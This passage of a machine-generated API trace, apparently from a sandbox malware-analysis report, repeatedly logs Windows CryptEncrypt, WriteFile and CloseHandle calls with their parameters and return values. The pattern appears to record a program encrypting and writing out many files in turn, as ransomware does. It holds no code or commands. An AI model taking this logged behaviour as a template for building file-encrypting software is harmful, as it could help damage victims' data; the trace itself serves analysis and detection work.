[0234.118] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.118] WriteFile (in: hFile=0x3008, lpBuffer=0x3998510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998510*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.119] CloseHandle (hObject=0x3008) returned 1 [0234.121] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.121] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.122] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.122] WriteFile (in: hFile=0x3008, lpBuffer=0x3998670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.122] CloseHandle (hObject=0x3008) returned 1 [0234.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.124] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.125] WriteFile (in: hFile=0x3008, lpBuffer=0x39984b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.125] CloseHandle (hObject=0x3008) returned 1 [0234.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.138] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.138] WriteFile (in: hFile=0x3008, lpBuffer=0x3998620*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998620*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.138] CloseHandle (hObject=0x3008) returned 1 [0234.149] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.149] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.149] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.149] WriteFile (in: hFile=0x3008, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.150] CloseHandle (hObject=0x3008) returned 1 [0234.153] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.153] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.153] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.153] WriteFile (in: hFile=0x3008, lpBuffer=0x3998660*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998660*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.153] CloseHandle (hObject=0x3008) returned 1 [0234.155] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.155] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.156] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.156] WriteFile (in: hFile=0x3008, lpBuffer=0x3998510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998510*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.156] CloseHandle (hObject=0x3008) returned 1 [0234.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.159] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.159] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.159] CloseHandle (hObject=0x3008) returned 1 [0234.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.161] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.162] WriteFile (in: hFile=0x3008, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.162] CloseHandle (hObject=0x3008) returned 1 [0234.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af99a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af99a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.165] WriteFile (in: hFile=0x3008, lpBuffer=0x3af99a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af99a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.165] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.166] CloseHandle (hObject=0x3008) returned 1 [0234.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7fe0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7fe0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.169] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7fe0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7fe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.169] WriteFile (in: hFile=0x3008, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.169] CloseHandle (hObject=0x3008) returned 1 [0234.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.173] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.173] WriteFile (in: hFile=0x3008, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.173] CloseHandle (hObject=0x3008) returned 1 [0234.176] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.176] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.176] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.176] WriteFile (in: hFile=0x3008, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.176] CloseHandle (hObject=0x3008) returned 1 [0234.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.180] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.180] WriteFile (in: hFile=0x3008, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.180] CloseHandle (hObject=0x3008) returned 1 [0234.183] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.183] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.183] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.183] WriteFile (in: hFile=0x3008, lpBuffer=0x3998560*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998560*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.184] CloseHandle (hObject=0x3008) returned 1 [0234.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.186] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.187] WriteFile (in: hFile=0x3008, lpBuffer=0x3998640*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998640*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.187] CloseHandle (hObject=0x3008) returned 1 [0234.189] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.189] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.190] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.190] WriteFile (in: hFile=0x3008, lpBuffer=0x3998570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.190] CloseHandle (hObject=0x3008) returned 1 [0234.192] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.192] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.193] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.193] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.193] CloseHandle (hObject=0x3008) returned 1 [0234.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.197] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.197] WriteFile (in: hFile=0x3008, lpBuffer=0x3998580*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.198] CloseHandle (hObject=0x3008) returned 1 [0234.200] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.200] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.201] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.201] WriteFile (in: hFile=0x3008, lpBuffer=0x3998510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998510*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.201] CloseHandle (hObject=0x3008) returned 1 [0234.215] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.215] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.215] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.216] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.216] CloseHandle (hObject=0x3008) returned 1 [0234.219] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.219] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.219] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.219] WriteFile (in: hFile=0x3008, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.220] CloseHandle (hObject=0x3008) returned 1 [0234.222] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.222] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7fe0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7fe0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.223] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7fe0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7fe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.223] WriteFile (in: hFile=0x3008, lpBuffer=0x3998560*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998560*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.223] CloseHandle (hObject=0x3008) returned 1 [0234.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.225] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.226] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.226] CloseHandle (hObject=0x3008) returned 1 [0234.236] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.236] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.236] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.236] WriteFile (in: hFile=0x3008, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 